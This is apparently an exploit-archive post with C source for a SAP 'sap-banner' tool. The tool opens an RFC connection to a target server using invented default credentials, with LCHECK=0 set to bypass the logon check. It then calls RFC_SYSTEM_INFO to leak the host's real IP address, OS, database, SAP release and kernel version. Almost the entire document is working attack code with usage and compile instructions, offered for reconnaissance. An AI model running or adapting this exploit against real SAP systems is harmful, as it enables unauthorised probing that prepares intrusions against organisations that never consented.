SAP RFC_SYSTEM_INFO information disclosure exploit that leaks OS type, real IP address, SAP version, and more.
ca1725ccfc90166e4942d16984052e553aa51c664b897e451b960846453bdb8d
static char sccsid[] = "@(#) $Id: //bas/46D/src/krn/rfc/sapinfo.c#1 $ SAP";
/* Usage : */
/* ./sap-banner ashost=10.0.0.2 sysnr=0 */
/* */
/* Compiling : */
/* ROOT=/home/nicob/SAP/rfcsdk-linux */
/* INCLUDE=$ROOT/include/ */
/* LIB=$ROOT/lib/ */
/* gcc -I$INCLUDE -L$LIB sap-banner.c -o sapbnr -lrfc -ldl -lm */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include "saprfc.h"
#include "rfcsi.h"
void DLL_CALL_BACK_FUNCTION rfc_error( char * operation );
static void display_rfcsi( RFCSI * rfcsi );
static void help( void );
RFC_ERROR_INFO_EX error_info;
main( int argc, char ** argv )
{
RFC_ENV new_env;
RFC_HANDLE handle;
RFC_RC rfc_rc;
RFC_PARAMETER exporting[32];
RFC_PARAMETER importing[32];
RFC_TABLE tables[32];
RFCSI rfcsi;
char * exception_ptr = NULL,
VersionBuffer[256],
* ptr,
* pa,
* pb,
pm_buf[257],
connect_param[1024];
int i, j, len,
client_found = 0,
user_found = 0,
passwd_found = 0,
language_found = 0;
char std_client[4] = "360",
std_user[13] = "Unknown",
std_pass[9] = "Useless",
std_lang[3] = "EN";
if (argc < 2)
{
help();
return 1;
}
/* -----------------------------------------------
* Install error handler
* ---------------------------------------------*/
new_env.allocate = NULL;
new_env.errorhandler = rfc_error;
RfcEnvironment( &new_env );
/* -----------------------------------------------
* Put parameters from command to RfcOpenEx-Param.
* ---------------------------------------------*/
memset(connect_param, 0, sizeof(connect_param));
ptr = connect_param;
for (i=1; i<argc; i++)
{
len = strlen(argv[i]);
/* Check syntax of connection parameters */
pa = (char*)memchr(argv[i], '=', len);
if (pa == NULL)
{
help();
return 1;
}
/* Values which include blanks must be set in "..." */
pb = (char*)memchr(argv[i], ' ', len);
if (pb == NULL)
strcpy(pm_buf, argv[i]);
else
{
memset(pm_buf, 0, sizeof(pm_buf));
pa = pa + 1;
len = pa - argv[i];
memcpy(pm_buf, argv[i], len);
pm_buf[len] = '"';
strcpy(pm_buf+len+1, pa);
pm_buf[strlen(pm_buf)] = '"';
}
/* Copy into connect_param of RfcOpenEx */
strcpy(ptr, pm_buf);
ptr = ptr + strlen(ptr);
*ptr++ = ' ';
/* Special handling for SAP logon with default data */
for (j=0; j<(int) strlen(argv[i]); j++)
{
if (argv[i][j] == '=')
break;
argv[i][j] = (char) toupper(argv[i][j]);
}
if (memcmp(argv[i], "CLIENT=", 5) == 0)
client_found = 1;
else if (memcmp(argv[i], "USER=", 5) == 0)
user_found = 1;
else if (memcmp(argv[i], "PASSWD=", 7) == 0)
passwd_found = 1;
else if (memcmp(argv[i], "LANG=", 7) == 0)
language_found = 1;
}
/* No logon check at OPEN time */
strcpy(connect_param+strlen(connect_param), "LCHECK=0");
/* Use default logon data if missing */
if (client_found == 0)
sprintf(connect_param+strlen(connect_param), " CLIENT=%s", std_client);
if (user_found == 0)
sprintf(connect_param+strlen(connect_param), " USER=%s", std_user);
if (passwd_found == 0)
sprintf(connect_param+strlen(connect_param), " PASSWD=%s", std_pass);
if (language_found == 0)
sprintf(connect_param+strlen(connect_param), " LANG=%s", std_lang);
printf("Parametres de connexion : \n%s\n", connect_param);
/* -----------------------------------------------
* Open connection
* ---------------------------------------------*/
handle = RfcOpenEx(connect_param,
&error_info);
if (handle == RFC_HANDLE_NULL)
{
printf("\nGroup Error group %d", error_info.group);
printf("\nKey %s", error_info.key);
printf("\nMessage %s\n", error_info.message);
exit(1);
}
printf("\nSucces !\n");
/* -----------------------------------------------
* Parameters
* ---------------------------------------------*/
importing[0].name = "RFCSI_EXPORT";
importing[0].nlen = 12;
importing[0].addr = &rfcsi;
importing[0].leng = sizeof(rfcsi);
importing[0].type = RFCTYPE_CHAR;
importing[1].name = NULL;
exporting[0].name = NULL;
tables[0].name = NULL;
/* -----------------------------------------------
* Call RFC function
* ---------------------------------------------*/
rfc_rc = RfcCallReceive( handle, "RFC_SYSTEM_INFO",
/* rfc_rc = RfcCallReceive( handle, "RFC_PING", */
exporting,
importing,
tables,
&exception_ptr );
if( rfc_rc != RFC_OK )
{
if ((rfc_rc == RFC_EXCEPTION) ||
(rfc_rc == RFC_SYS_EXCEPTION))
rfc_error( exception_ptr );
else
rfc_error( "RfcCallReceive" );
}
else
{
/* -----------------------------------------------
* Display results
* ---------------------------------------------*/
display_rfcsi( &rfcsi );
}
/* -----------------------------------------------
* Close connection
* ---------------------------------------------*/
RfcClose( handle );
return 0;
} /* main */
static void display_rfcsi( RFCSI * rfcsi )
{
#define OUT( text, value ) \
printf( "%-22s %-.*s\n", text, (int) sizeof(rfcsi->value), rfcsi->value )
#define OUTX( text, value, add ) \
printf( "%-22s %-.*s %s\n", text, (int) sizeof(rfcsi->value), \
rfcsi->value, (add) )
#define NLINE printf( "\n" )
#define HEADER( text ) \
printf( "%s\n-----------------------------------------------\n\n", \
(text) )
NLINE;
NLINE;
HEADER( "SAP System Information" );
NLINE;
OUT( "Destination", rfcdest );
NLINE;
if (rfcsi->rfchost2[0] != ' ')
OUT( "Host", rfchost2 );
else
OUT( "Host1", rfchost );
OUT( "Host2", rfchost2 );
OUT( "System ID", rfcsysid );
OUT( "Database", rfcdatabs );
OUT( "DB host", rfcdbhost );
OUT( "DB system", rfcdbsys );
OUT( "OP sys ", rfcopsys );
OUT( "IP addr ", rfcipaddr );
OUT( "Resv ", rfcsi_resv );
NLINE;
OUT( "SAP release", rfcsaprl );
OUT( "SAP kernel release", rfckernrl );
NLINE;
OUT( "RFC Protokoll", rfcproto );
OUT( "Characters", rfcchartyp );
OUT( "Integers ", rfcinttyp );
OUT( "Floating P.", rfcflotyp );
OUT( "SAP machine id", rfcmach );
NLINE;
OUTX( "Timezone", rfctzone,
rfcsi->rfcdayst[0] != ' ' ? "(Daylight saving time)" : "" );
NLINE;
NLINE;
} /* display_rfcsi */
void DLL_CALL_BACK_FUNCTION rfc_error( char * operation )
{
printf("RFC Call/Exception: %s\n", operation );
RfcLastErrorEx(&error_info);
printf("\nGroup Error group %d", error_info.group);
printf("\nKey %s", error_info.key);
printf("\nMessage %s\n", error_info.message);
exit(1);
} /* rfc_error */
static void help( void )
{
#define NL "\n"
printf( NL"Syntax: ./sap-banner ashost=10.0.0.2 sysnr=0"NL );
return;
}